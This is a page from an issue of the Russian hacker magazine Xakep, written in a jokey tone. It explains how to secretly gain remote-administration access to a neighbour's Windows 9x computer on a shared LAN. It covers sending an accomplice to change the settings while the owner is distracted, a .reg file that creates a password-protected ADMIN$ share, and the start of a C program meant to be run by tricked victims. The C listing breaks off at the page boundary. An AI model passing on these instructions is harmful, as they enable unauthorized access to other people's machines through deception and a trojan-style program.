|

Администрируем соседов
OZNOB
Xakep, номер #027, стр. 027-050-2
Способ номер один
Расскажу real story. Организовали мы с приятелями локалку. Всем было хорошо, кроме меня, т. к. жутко хотелось нагадить ;). И был в этой сетке один мой знакомый, назовем его, к примеру, Митяй Гепатит Гастритыч. Так вот, оказалась передо мной похожая проблема - как получить доступ? Подумал я и решил заслать к нему шпиона, нашего общего другана.
Перед операцией "Х" боевого товарища я окучил тщательным инструктажем типа "когда будешь на месте:
1) попроси Митю принести водички (ну, или чипсы);
2) когда гоблин убежит за чипсами (кока-колой), быстро лезь в "Панель управления -> Пароли -> Удаленное управление (закладка)";
3) поставь галку и введи пароль "yo" в оба поля;
4) закрой все окошки, тыча в "ОК";
5) прикинься табуреткой". :)
Мой шпион прибежал к Митяю под предлогом поиграть от него в Q, и выполнил возложенную на него миссию. ВСЕ! Mission Accomplished.
Способ номер два
Написать прогу, которая при запуске открывала бы remote control сама. Этот способ имеет ряд плюсов и минусов. Минусы: попытки заставить соседей по локалке запустить твой шедевр могут продлиться довольно долго. Плюсы: не надо ходить к каждому гоблину, чтобы просить попить или пописать; можно сразу качественно замести следы; все очень просто.
Немного теории. Информация о шарах, и в том числе об удаленном управлении содержится в реестре по адресу [HKLM\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\ADMIN$], где ADMIN$ - это имя расшаренного ресурса. В этом разделе содержится информация о пароле, пути (папка Виндоус), параметр "Parm1enc" содержит зашифрованный пароль и т. д. У нас есть два варианта, как этим воспользоваться: использовать в программе функции работы с реестром, что весьма геморройно, или импортировать нужную информацию в реестр из файла. Как настоящие патриоты идем по пути наименьшего сопротивления, т. е. используем второй вариант.
Создаем регистрационный файл с именем "rulez.dat" (расширение может быть любым):
REGEDIT4
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\ADMIN$]
"Flags"=dword:00000302
"Type"=dword:00000000
"Path"="с:\\windows"
"Parm2enc"=hex:
"Parm1enc"=hex:6c,d5
"Remark"=""
Здесь нычется небольшая проблема в указании правильного пути к папке Виндовс, но я знаю - ты настоящий хацкер и сам в состоянии узнать этот путь (кстати, можешь попробовать написать взамен пути - переменную "%windir%", правда, у меня это не работало). В данном случае параметр "Parm1enc" содержит зашифрованный пароль "yo".
Приведу пример листинга на VB и VC (Visual). На VB - потому что это просто, на VC - потому что это клево ;).
Пример на VC:
Создаем win32 проект, далее "A simple Win32 Application", открывам срр-файл:
#include "stdafx.h"
#include "stdio.h"
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
Назад на стр. 027-050-1 Содержание Вперед на стр. 027-050-3
|